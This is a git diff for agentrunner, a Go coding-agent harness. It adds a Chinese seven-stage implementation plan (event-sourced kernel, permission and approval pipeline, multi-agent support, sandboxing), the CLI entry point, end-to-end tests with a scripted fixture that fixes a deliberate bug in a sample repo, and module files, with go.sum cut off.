分阶段实施设计(Stages) + +本文档把 `DESIGN.md` 的架构拆成 **7 个从简单到复杂的实施阶段**。两个牵引目标: + +1. **教育意义**:每个阶段都是一个能跑、能完全读懂、能独立消化的完整系统; + 每次迭代增加的复杂度有界。 +2. **最终收敛**:七段走完,得到能支撑 General Coding Agent 大部分能力的 + 完整设计(即 `DESIGN.md` 的全貌,含延迟批次)。 + +`DESIGN.md` 仍是架构的 source of truth——本文档只回答"按什么顺序、 +切成什么块、每块的完成标志是什么"。两者在实施顺序上以本文档为准 +(`DESIGN.md` 的旧 Roadmap 章节将来会收敛到这里,暂不修改)。 + +## 总览 + +| Stage | 名字 | 一句话 | 主要对应 DESIGN.md | +|-------|------|--------|--------------------| +| 1 | 会干活的 agent | walking skeleton:最小可用 coding agent | L3 loop/provider/tools 最小版 | +| 2 | 一切皆事实 | event-sourced 内核与 durability | L0 + L1 | +| 3 | 治理副作用 | effect pipeline 四关卡 | L2 | +| 4 | 交互与上下文 | 单 agent 完全体 | L3 context assembly + L4 交互协议 | +| 5 | 生态与多 agent | MCP/skills/子 agent/artifacts | L3 其余 | +| 6 | 服务化与运行模式 | 常驻 runtime/background/driver | L4 | +| 7 | 世界状态生命周期 | snapshot/fork/rewind/云/沙箱/索引(延迟批次) | L1 workspace + L4 session 深水区 | + +**难度曲线是刻意设计的**:S1–S2 教内核思想,S3–S4 教生产现实, +S5–S6 教组合能力,S7 收官最难的教义问题。 + +## 贯穿 S1–S6 的硬约束("四个钩子") + +S7 被有意延迟。为了让它届时是**加装**而非**返工**,前六段必须始终满足: + +1. **所有文件类 tool 走 workspace 抽象**,不允许任何代码绕过它直接摸 + 文件系统。(本来就是 permission/realpath 检查的要求,零额外成本。) +2. **run 收尾 epilogue 保留 barrier 槽位**,实现为显式 no-op: + quiesce → auto-publish → **[barrier: no-op]** → 终态 event。 +3. **活动静默记账不延迟**:live task 集合、进程组终态确认属于 activity + 语义(取消/interrupt 的正确性依赖它),S2 就位。S7 的 barrier 届时 + 直接消费这份 fold state。 +4. **event log 纪律不松动**:fold 纯度、per-stream seq、 + journal-inputs-first。这是内核本身。 + +另一条纪律:**每个阶段结束做一次对抗式 review**(与 DESIGN.md 定稿时 +相同的多视角审查),审完才进下一段。 + +完成标志一律实现为**可执行的 acceptance 场景**(定义见 PLAN.md 0.6), +用 `agentrunner accept --stage N` 验收——TTY 下为 TUI 清单,非 TTY +纯文本 + JSON 报告。 + +--- + +## Stage 1 — 会干活的 agent(walking skeleton) + +**目标**:最短路径打通 spec → LLM → tool → 结果,让真实负载从第一天 +就开始塑造接口形状。 + +**范围** +- 最小 spec loader:YAML → 强类型 struct + 校验(name / model / + system_prompt / tools 四个字段就够)。 +- 薄 provider 接口 + Gemini 实现(`complete(request) → stream`, + 凭 `GEMINI_API_KEY` 从环境读;接口从第一天按多实现设计,但只做一个)。 +- 朴素 agent loop:LLM turn → tool 执行 → 循环,turn 粒度输出。 +- 三个内置 tool:`read_file` / `edit_file` / `bash`(tool 定义即数据; + 已经走一个最小 workspace 抽象——钩子 1 从这里开始)。 +- append-only JSONL journal:**只记录,不作为 source of truth** + (为 S2 铺路,先积累"哪些东西值得成为 event"的直觉)。 +- 最小 CLI:`agentrunner run "task"`。 + +**教学重点**:agent loop 的完整解剖。一个人读完全部代码(一两千行量级), +能自己写出 mini coding agent。这一段没有任何"框架",只有问题本身。 + +**完成标志**:agent 能在真实仓库里完成"读代码 → 改文件 → 跑测试"的 +端到端任务;journal 里能看到全过程。 + +--- + +## Stage 2 — 一切皆事实(event-sourced 内核) + +**目标**:把 S1 的裸 loop 放到 durable 内核上:进程死掉,run 不死。 + +**范围** +- L0 正式化:actor / mailbox(channel)/ bus(send + publish)/ + Envelope(id、causation、correlation);command 按 `Envelope.id` + 幂等去重;actor 崩溃 → `ActorCrashed` event,无自动重启 + (恢复只住在 session resume 一个地方)。 +- command/event 严格分离;**所有外部输入先 journal 成 event 再消费**。 +- state = event log 的纯 fold;journal 从"只记录"升级为 source of truth。 +- turn 边界 snapshot + resume(snapshot 是可弃缓存,fold 可全量重建)。 +- 显式等待状态注册表:四个变体与完整可中断性表一次画全 + (`WAITING_INPUT/APPROVAL/TASKS/TIMER`,TASKS/TIMER 标注 S6 前不可产生)。 +- run 收尾 epilogue 骨架(全 no-op:quiesce → publish → [barrier] → + 终态 event;**钩子 2 在此落位**,后续阶段填实槽位)。 +- CLI `resume` / `sessions list` 收口。 +- activity 语义全套:`ActivityStarted/Completed/Failed/Cancelled` 双落盘、 + at-least-once + in-doubt 上浮(绝不静默重跑;`idempotent: true` 是唯一 + 例外通道)、通用 retry/backoff、**进程组级协作取消**(钩子 3)、 + durable timer、凭据 redaction、log 权限 0600。 +- `RunStarted` 记录代码/spec 版本,不匹配拒绝 resume。 + +**教学重点**:不用 Temporal 也能拿到 durability——journal + fold + +snapshot 三件套;为什么"输入先落盘"消灭了一整类竞态;为什么恢复 +只能住在一个地方。 + +**完成标志**:崩溃注入测试全绿——任意时刻 `kill -9`,resume 后对话 +状态分毫不差、in-doubt activity 正确上浮、等待状态跨进程存活 +(用合成 event 验证;"审批全流程挂起存活"是 S3 审批流步骤的验证项)。 + +--- + +## Stage 3 — 治理副作用(effect pipeline) + +**目标**:所有副作用流经唯一管线;permission、审批、hooks、预算 +作为四个关卡(而非四个子系统)落地。 + +**范围** +- 四关卡管线:hooks(pre) → permission → budget → execute → hooks(post)。 +- `EffectResolved` 按持久化时点拆分落盘(判定终结后、执行开始前; + ask 路径在审批应答后;post-hook 结果随 `ActivityCompleted`); + 进关卡未出 `EffectResolved` 的 effect 享受 in-doubt 待遇。 +- permission rules 作为数据:allow/ask/deny、path 规则(realpath 强制、 + workspace 边界检查)、bash 命令模式匹配、"path 规则约束不了 bash" + 的诚实条款。 +- permission modes 作为 loop 行为:工具面过滤 + prompt 注入 + 跃迁规则 + (`plan` / `acceptEdits` / `bypass`;tool 类别标签 read/edit/execute)。 +- 审批:ask → `ApprovalRequested` → `WAITING_APPROVAL`(durable)→ + 应答 journal 后继续;denied-by-interrupt 路径。 +- budget:reserve-then-settle(预留集入 fold state);run 级资源限额 → + 优雅收尾;结构性限制 → error 结果。 +- hooks v0:observe + block;是管线机件不是 effect。 +- 配置分层(spec + user + project 三源合并,从 S5 提前——信任模型 + 依赖它)+ 信任模型:可执行配置只认 spec 与 user 层,project 层需 + 显式 trust;memory 文件按不可信内容对待。 +- 每种关卡结果的模型可见渲染(error tool_result 家族)。 + +**教学重点**:"policy 是数据"的完整示范;一条管线如何同时长出四个 +产品级 feature;"给模型的错误"与"给用户的错误"是两个 surface。 + +**完成标志**:`plan` mode 全流程可用;审批挂两天后批准,run 原地继续; +预算 gate 级合成并发不超支(真实并行在 S4 复验);不受信 repo 的 +hooks 不执行。 + +--- + +## Stage 4 — 交互与上下文(单 agent 完全体) + +**目标**:把 loop 打磨到生产现实:streaming、打断、并行、缓存经济学。 + +**范围** +- 交互协议:输出事件流(turn 边界、token delta ephemeral、 + `TurnDiscarded`)、steering 消息 turn 边界消费、interrupt 走 + activity 协作取消(`[interrupted by user]` 渲染)。 +- 并行 tool call:harness call id(随 event 持久化)、per-call 过管线、 + ask 不阻塞已放行、assembly 收齐后按原 call 顺序重排 + (Gemini 1:1 严格配对)。 +- context assembly 一等组件:拼装顺序(基础指令 → **冻结的**环境块 → + memory 层 → tool/skill/子 agent 目录 → spec prompt)、prefix 稳定 + 不变量与 cache 断点、tool 输出截断、compaction 作为 recorded activity + (`ContextCompacted` 改变 fold)、opaque signature 透传 + (thoughtSignature)。 +- 异常 finish reason 的 loop 策略(malformed_tool_call 重试、 + safety/blocked 上浮)。 +- session UX 打磨(`show`、resume 的流式续接;`resume`/`sessions list` + 已在 S2 收口)。 +- `inspect` v0:timeline、每个 call 的判定、token/cost/cache 列。 +- Anthropic 作为第二 provider 实现落地,验证能力抽象不漏。 + +**教学重点**:生产级 loop 的全部脏现实——缓存的经济学(约 10x)、 +主 provider 的严格配对与终止形态、被打断的流如何诚实呈现。 + +**完成标志**:体验接近"单 agent 版 Claude Code"的 CLI;缓存命中率 +可在 `inspect` 中验证;Esc 能在 500ms 内杀掉任何 tool call; +双 provider scripted 矩阵全绿。 + +--- + +## Stage 5 — 生态与多 agent + +**目标**:接入外部生态;multi-agent 作为"actor 发消息"落地; +交付物成为一等公民。 + +**范围** +- MCP:官方 SDK 管理生命周期(带外运行时状态)、发现的 schema 入 + event、`mcp____` 全限定名、无标签 tool 按 execute-class。 +- skills(Claude Code 约定)、memory 文件层级合并(配置三源合并 + 已提前至 S3)。 +- 子 agent:spawn/await、handoff、pub/sub 三模式;权限 rules spawn 时 + 冻结交集下传;mode 不交集;树级预算 min 聚合;深度/扇出上限; + 审批沿 correlation 冒泡到 frontend。 +- **Artifacts**:`ArtifactStore`(CAS、opaque ref、blob 先于 event)、 + `publish_artifact` 过管线发布即持久、版本 per-stream、`outputs:` + 交付物 contract(收尾 epilogue 自动 publish)、 + `ApprovalRequested{payload_ref}`(plan 审批流)、artifact 作输入 + (materialize activity)。 +- run 收尾 epilogue 的 **auto-publish 槽位填实**(骨架与钩子 2 已在 + S2 落位;quiesce 在 S6 填实,barrier 在 S7)。 +- `inspect` 扩展:子 agent 树(correlation/causation 渲染)。 + +**教学重点**:multi-agent 不是子系统;contract(交付物)与协调对象 +(plan)分离;"SnapshotStore 模式"如何复用为 ArtifactStore。 + +**完成标志**:一个 researcher 编队(parent + 2 子 agent)产出带 +contract 检查的报告 artifact;plan 审批(发布 → 审 → 拒 → v2 → 批) +全流程走通;子 agent 无法越权、树预算不可击穿。 + +--- + +## Stage 6 — 服务化与运行模式 + +**目标**:从"一次 CLI 调用"变成"常驻服务上的运行形态家族"。 + +**范围** +- 常驻 runtime(server 壳 + 本地 socket);CLI 变 attach/detach 薄客户端 + (attach = journal 补读 + 订阅;detach 无事件); + `runtime.daemon: never` 降级模式。 +- notifier actor:订阅 run/driver 生命周期 topic、`NotificationSent` + 去重 stream、通道为文档化 carve-out(只认 user 层配置)。 +- 后台 effect:`background: true`、handle = `ActivityStarted` 的 fold + 渲染(配对当场满足)、完成 = user-role 输入、`WAITING_TASKS`、 + `task_output` / `task_kill`、`on_run_end: cancel|await`。 +- scheduler:cron/interval/webhook → 幂等 `RunAgent`。 +- **IterationDriver**:统一事件族;goal mode(verifiers:command / + llm_judge / human;停滞检测);loop mode(self_paced 的 + `schedule_next` / `finish_series`;overlap 策略);best-of-N + (`schedule: parallel{n}`,**阶段内可延后项**,见 PLAN cut line); + 跨迭代 carry 走 ArtifactStore、series memory 注入时截断; + `on_child_failure` / `on_reserve_failure`。 +- headless / server 壳补全(HTTP/WS 同一协议;**阶段内可延后项**, + 见 PLAN cut line——均不影响完成标志)。 + +**教学重点**:frontend 只是订阅者,"后台"不是执行模式而是 attach 问题; +one-shot / goal / loop / best-of-N 是同一个 driver 的四种 schedule。 + +**完成标志**:一个 series 在无人 attach 的情况下按 cron 跑过夜、 +产出通知;一个 goal run 迭代三轮到 verifier 通过;CLI 关掉重开 +attach 回同一个 run。 + +--- + +## Stage 7 — 世界状态生命周期(延迟批次) + +**目标**:补上被有意延迟的最难教义:世界状态的快照、回退、迁移与边界。 +此时手上有 S1–S6 的 dogfood 经验——尤其是真实的后台任务使用模式—— +争议最大的语义(barrier 静默)在信息最多的时候设计。 + +**范围**(内部再分小步,顺序可调) +- `SnapshotStore` + shadow repo backend(独立 GIT_DIR,对用户 repo + 与 agent 的 git 操作隐形;排除策略;延迟基准)。 +- `CheckpointBarrier`:**弱化版语义**(consistent-enough cut:barrier + 向量记录 in-flight 后台任务及其处置策略,不再要求全树静默); + epilogue 的 no-op 槽位填实。 +- fork / rewind:事件切面与快照物化拆成两个正交轴(支持对话/代码 + 独立回退);`ForkedFrom` 创世与 id remapping。 +- 云端 workspace 生命周期:provision → live → teardown;resume 可从 + 外部源重建 workspace;store 外置;环境预备 prologue(setup 脚本 + 走信任模型)。 +- OS 沙箱 backend + 网络出口策略(rules 加 network 资源类; + `EffectResolved` 记录生效的 containment)。※ 若安全优先级提前, + 此项可单独抽出提前到 S3 之后——它是 additive,不依赖本段其他内容。 +- `IndexStore`(第四类状态:可从 workspace 重建的派生索引)+ + 常驻 indexer actor + `semantic_search` tool。 +- (可选,IDE 方向确定后)advisory-inference 旁路、IDE buffer overlay、 + shadow workspace 的 `promote_worktree_diff`、per-hunk 部分接受。 + +**教学重点**:为什么世界状态是 harness 里最难的部分;三次对抗审查中 +争议最大的条目全部住在这里——以及延迟决策如何让它们变简单。 + +**完成标志**:rewind 到任意 barrier 且 workspace 与对话一致;fork 出的 +分支在独立 worktree 上继续;(若做云)容器销毁后 resume 重建 workspace +继续跑。 + +--- + +## 与 DESIGN.md 的差异声明 + +- `DESIGN.md` 的 M1–M5 roadmap 由本文档取代(暂不修改原文,收敛时再改)。 +- `DESIGN.md` 中以下内容在 S1–S6 期间处于"设计已定、实现延迟"状态: + SnapshotStore 的非 `none` backend、`CheckpointBarrier`、fork/rewind、 + `barrier_ref` 相关字段。目标中的"可 fork"顺延至 S7。 +- 四个钩子(上文)在 S1–S6 是硬性验收项,每阶段 review 检查。 diff --git a/cmd/agentrunner/main.go b/cmd/agentrunner/main.go new file mode 100644 index 0000000..80bca3f --- /dev/null +++ b/cmd/agentrunner/main.go @@ -0,0 +1,15 @@ +// Command agentrunner is the CLI entry point for the AgentRunner harness. +package main + +import ( + "os" + + "github.com/ralphite/agentrunner/internal/cli" +) + +// version is overridden at build time via -ldflags "-X main.version=...". +var version = "dev" + +func main() { + os.Exit(cli.Run(os.Args[1:], version, os.Stdout, os.Stderr)) +} diff --git a/e2e/accept_test.go b/e2e/accept_test.go new file mode 100644 index 0000000..452b423 --- /dev/null +++ b/e2e/accept_test.go @@ -0,0 +1,50 @@ +package e2e_test + +import ( + "encoding/json" + "fmt" + "os" + "os/exec" + "path/filepath" + "testing" +) + +// Each stage's completion criterion must be reproducible under go test: +// build the real binary and run its acceptance suite through it. +func TestAcceptStagesEndToEnd(t *testing.T) { + tmp := t.TempDir() + bin := filepath.Join(tmp, "agentrunner") + + build := exec.Command("go", "build", "-o", bin, "../cmd/agentrunner") + if out, err := build.CombinedOutput(); err != nil { + t.Fatalf("build failed: %v\n%s", err, out) + } + + for stage, minPass := range map[int]int{1: 4, 2: 4, 3: 3} { + t.Run(fmt.Sprintf("stage%d", stage), func(t *testing.T) { + report := filepath.Join(tmp, fmt.Sprintf("report-%d.json", stage)) + cmd := exec.Command(bin, "accept", "--stage", fmt.Sprint(stage), "--plain", "--report", report) + cmd.Dir = tmp + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("accept --stage %d failed: %v\n%s", stage, err, out) + } + + raw, err := os.ReadFile(report) + if err != nil { + t.Fatal(err) + } + var rep struct { + Pass int `json:"pass"` + Fail int `json:"fail"` + Aborted int `json:"aborted"` + } + if err := json.Unmarshal(raw, &rep); err != nil { + t.Fatal(err) + } + if rep.Fail != 0 || rep.Aborted != 0 || rep.Pass < minPass { + t.Fatalf("report = %+v (output:\n%s)", rep, out) + } + }) + } +} diff --git a/e2e/e2e_test.go b/e2e/e2e_test.go new file mode 100644 index 0000000..5fb89de --- /dev/null +++ b/e2e/e2e_test.go @@ -0,0 +1,111 @@ +// Package e2e_test drives the full S1 stack — loop, scripted provider, +// tools, event log — against the committed sample repo (PLAN 1.10). The +// sample repo is copied to a temp workspace per test; the checked-in copy +// is never touched. +package e2e_test + +import ( + "context" + "io/fs" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/agent" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +func copyDir(t *testing.T, src, dst string) { + t.Helper() + err := filepath.WalkDir(src, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + rel, _ := filepath.Rel(src, path) + target := filepath.Join(dst, rel) + if d.IsDir() { + return os.MkdirAll(target, 0o755) + } + data, err := os.ReadFile(path) + if err != nil { + return err + } + return os.WriteFile(target, data, 0o644) + }) + if err != nil { + t.Fatal(err) + } +} + +func TestFixFailingTestEndToEnd(t *testing.T) { + // Sanity: the pristine sample repo really has a failing test. + repo := t.TempDir() + copyDir(t, "testdata/samplerepo", repo) + if out, err := goTest(repo); err == nil { + t.Fatalf("sample repo tests should fail before the fix:\n%s", out) + } + + prov, err := scripted.Load("testdata/fixtures/fix-samplerepo.yaml") + if err != nil { + t.Fatal(err) + } + ws, err := workspace.New(repo) + if err != nil { + t.Fatal(err) + } + es, err := store.OpenEventStore(filepath.Join(t.TempDir(), "sess")) + if err != nil { + t.Fatal(err) + } + defer func() { _ = es.Close() }() + + loop := &agent.Loop{ + Spec: &agent.AgentSpec{ + Name: "fixer", + Model: agent.ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 512}, + SystemPrompt: "You are a coding agent.", + Tools: []string{"read_file", "edit_file", "bash"}, + MaxTurns: 10, + }, + Provider: prov, + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "e2e-sess", + } + + res, err := loop.Run(context.Background(), "Fix the failing test in this repo.") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 4 { + t.Errorf("result = %+v", res) + } + if err := prov.Done(); err != nil { + t.Error(err) + } + + // The fix landed… + src, err := os.ReadFile(filepath.Join(repo, "mathx", "mathx.go")) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(src), "return a + b") { + t.Errorf("fix not applied:\n%s", src) + } + // …and the repo's own tests pass now. + if out, err := goTest(repo); err != nil { + t.Errorf("tests still failing after fix:\n%s", out) + } +} + +func goTest(dir string) (string, error) { + cmd := exec.Command("go", "test", "./...") + cmd.Dir = dir + out, err := cmd.CombinedOutput() + return string(out), err +} diff --git a/e2e/testdata/fixtures/fix-samplerepo.yaml b/e2e/testdata/fixtures/fix-samplerepo.yaml new file mode 100644 index 0000000..1eb50be --- /dev/null +++ b/e2e/testdata/fixtures/fix-samplerepo.yaml @@ -0,0 +1,26 @@ +# Hand-authored 3-turn fixture (PLAN 1.10): read → edit → verify with go test. +steps: + - expect: + tools_include: [read_file, edit_file, bash] + last_message_contains: "failing test" + respond: + - text: "Let me look at the code first." + - tool_call: { name: read_file, args: { path: mathx/mathx.go } } + - finish: tool_use + - expect: + last_message_contains: "return a - b" + respond: + - tool_call: + name: edit_file + args: { path: mathx/mathx.go, old: "return a - b", new: "return a + b" } + - finish: tool_use + - expect: + last_message_contains: "edited mathx/mathx.go" + respond: + - tool_call: { name: bash, args: { command: "go test ./..." } } + - finish: tool_use + - expect: + last_message_contains: '"exit_code":0' + respond: + - text: "Fixed: Add now returns a + b and the tests pass." + - finish: end_turn diff --git a/e2e/testdata/samplerepo/go.mod b/e2e/testdata/samplerepo/go.mod new file mode 100644 index 0000000..203aede --- /dev/null +++ b/e2e/testdata/samplerepo/go.mod @@ -0,0 +1,3 @@ +module samplerepo + +go 1.24 diff --git a/e2e/testdata/samplerepo/mathx/mathx.go b/e2e/testdata/samplerepo/mathx/mathx.go new file mode 100644 index 0000000..18d4a03 --- /dev/null +++ b/e2e/testdata/samplerepo/mathx/mathx.go @@ -0,0 +1,7 @@ +// Package mathx provides arithmetic helpers. +package mathx + +// Add returns the sum of a and b. +func Add(a, b int) int { + return a - b // BUG: should be a + b +} diff --git a/e2e/testdata/samplerepo/mathx/mathx_test.go b/e2e/testdata/samplerepo/mathx/mathx_test.go new file mode 100644 index 0000000..5afdc12 --- /dev/null +++ b/e2e/testdata/samplerepo/mathx/mathx_test.go @@ -0,0 +1,9 @@ +package mathx + +import "testing" + +func TestAdd(t *testing.T) { + if got := Add(2, 3); got != 5 { + t.Errorf("Add(2, 3) = %d, want 5", got) + } +} diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..5fe66c9 --- /dev/null +++ b/go.mod @@ -0,0 +1,63 @@ +module github.com/ralphite/agentrunner + +go 1.25.0 + +require ( + github.com/anthropics/anthropic-sdk-go v1.56.0 + github.com/charmbracelet/bubbletea v1.3.10 + github.com/google/jsonschema-go v0.4.3 + github.com/modelcontextprotocol/go-sdk v1.6.1 + golang.org/x/term v0.44.0 + google.golang.org/genai v1.62.0 + gopkg.in/yaml.v3 v3.0.1 +) + +require ( + cloud.google.com/go v0.116.0 // indirect + cloud.google.com/go/auth v0.9.3 // indirect + cloud.google.com/go/compute/metadata v0.5.0 // indirect + github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect + github.com/bahlo/generic-list-go v0.2.0 // indirect + github.com/buger/jsonparser v1.1.2 // indirect + github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect + github.com/charmbracelet/lipgloss v1.1.0 // indirect + github.com/charmbracelet/x/ansi v0.10.1 // indirect + github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd // indirect + github.com/charmbracelet/x/term v0.2.1 // indirect + github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f // indirect + github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect + github.com/google/go-cmp v0.7.0 // indirect + github.com/google/s2a-go v0.1.8 // indirect + github.com/googleapis/enterprise-certificate-proxy v0.3.4 // indirect + github.com/gorilla/websocket v1.5.3 // indirect + github.com/invopop/jsonschema v0.14.0 // indirect + github.com/lucasb-eyer/go-colorful v1.2.0 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect + github.com/mattn/go-localereader v0.0.1 // indirect + github.com/mattn/go-runewidth v0.0.16 // indirect + github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect + github.com/muesli/cancelreader v0.2.2 // indirect + github.com/muesli/termenv v0.16.0 // indirect + github.com/pb33f/ordered-map/v2 v2.3.1 // indirect + github.com/rivo/uniseg v0.4.7 // indirect + github.com/segmentio/asm v1.1.3 // indirect + github.com/segmentio/encoding v0.5.4 // indirect + github.com/standard-webhooks/standard-webhooks/libraries v0.0.1 // indirect + github.com/tidwall/gjson v1.18.0 // indirect + github.com/tidwall/match v1.1.1 // indirect + github.com/tidwall/pretty v1.2.1 // indirect + github.com/tidwall/sjson v1.2.5 // indirect + github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect + github.com/yosida95/uritemplate/v3 v3.0.2 // indirect + go.opencensus.io v0.24.0 // indirect + go.yaml.in/yaml/v4 v4.0.0-rc.2 // indirect + golang.org/x/crypto v0.40.0 // indirect + golang.org/x/net v0.41.0 // indirect + golang.org/x/oauth2 v0.35.0 // indirect + golang.org/x/sync v0.16.0 // indirect + golang.org/x/sys v0.46.0 // indirect + golang.org/x/text v0.27.0 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 // indirect + google.golang.org/grpc v1.66.2 // indirect + google.golang.org/protobuf v1.34.2 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..aa51233 --- /dev/null +++ b/go.sum @@ -0,0 +1,217 @@ +cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.116.0 h1:B3fRrSDkLRt5qSHWe40ERJvhvnQwdZiHu0bJOpldweE= +cloud.google.com/go v0.116.0/go.mod h1:cEPSRWPzZEswwdr9BxE6ChEn01dWlTaF05LiC2Xs70U= +cloud.google.com/go/auth v0.9.3 h1:VOEUIAADkkLtyfr3BLa3R8Ed/j6w1jTBmARx+wb5w5U= +cloud.google.com/go/auth v0.9.3/go.mod h1:7z6VY+7h3KUdRov5F1i8NDP5ZzWKYmEPO842BgCsmTk= +cloud.google.com/go/compute/metadata v0.5.0 h1:Zr0eK8JbFv6+Wi4ilXAR8FJ3wyNdpxHKJNPos6LTZOY= +cloud.google.com/go/compute/metadata v0.5.0/go.mod h1:aHnloV2TPI38yx4s9+wAZhHykWvVCfu7hQbF+9CWoiY= +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/anthropics/anthropic-sdk-go v1.56.0 h1:idVU14wOZ06D0GBNEvuhn927xXmBVEquo0469iDwLsc= +github.com/anthropics/anthropic-sdk-go v1.56.0/go.mod h1:3EfIfmFqxH6rbiLcIP4tPFyXL/IHakx2wDG4OU+TIEI= +github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k= +github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8= +github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk= +github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg= +github.com/buger/jsonparser v1.1.2 h1:frqHqw7otoVbk5M8LlE/L7HTnIq2v9RX6EJ48i9AxJk= +github.com/buger/jsonparser v1.1.2/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0= +github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/charmbracelet/bubbletea v1.3.10 h1:otUDHWMMzQSB0Pkc87rm691KZ3SWa4KUlvF9nRvCICw= +github.com/charmbracelet/bubbletea v1.3.10/go.mod h1:ORQfo0fk8U+po9VaNvnV95UPWA1BitP1E0N6xJPlHr4= +github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc h1:4pZI35227imm7yK2bGPcfpFEmuY1gc2YSTShr4iJBfs= +github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc/go.mod h1:X4/0JoqgTIPSFcRA/P6INZzIuyqdFY5rm8tb41s9okk= +github.com/charmbracelet/lipgloss v1.1.0 h1:vYXsiLHVkK7fp74RkV7b2kq9+zDLoEU4MZoFqR/noCY= +github.com/charmbracelet/lipgloss v1.1.0/go.mod h1:/6Q8FR2o+kj8rz4Dq0zQc3vYf7X+B0binUUBwA0aL30= +github.com/charmbracelet/x/ansi v0.10.1 h1:rL3Koar5XvX0pHGfovN03f5cxLbCF2YvLeyz7D2jVDQ= +github.com/charmbracelet/x/ansi v0.10.1/go.mod h1:3RQDQ6lDnROptfpWuUVIUG64bD2g2BgntdxH0Ya5TeE= +github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd h1:vy0GVL4jeHEwG5YOXDmi86oYw2yuYUGqz6a8sLwg0X8= +github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd/go.mod h1:xe0nKWGd3eJgtqZRaN9RjMtK7xUYchjzPr7q6kcvCCs= +github.com/charmbracelet/x/term v0.2.1 h1:AQeHeLZ1OqSXhrAWpYUtZyX1T3zVxfpZuEQMIQaGIAQ= +github.com/charmbracelet/x/term v0.2.1/go.mod h1:oQ4enTYFV7QN4m0i9mzHrViD7TQKvNEEkHUMCmsxdUg= +github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dnaeon/go-vcr v1.2.0 h1:zHCHvJYTMh1N7xnV7zf1m1GPBF9Ad0Jk/whtQ1663qI= +github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ= +github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f h1:Y/CXytFA4m6baUTXGLOoWe4PQhGxaX0KpnayAqC48p4= +github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f/go.mod h1:vw97MGsxSvLiUE2X8qFplwetxpGLQrlU1Q9AUEIzCaM= +github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY= +github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE= +github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/groupcache 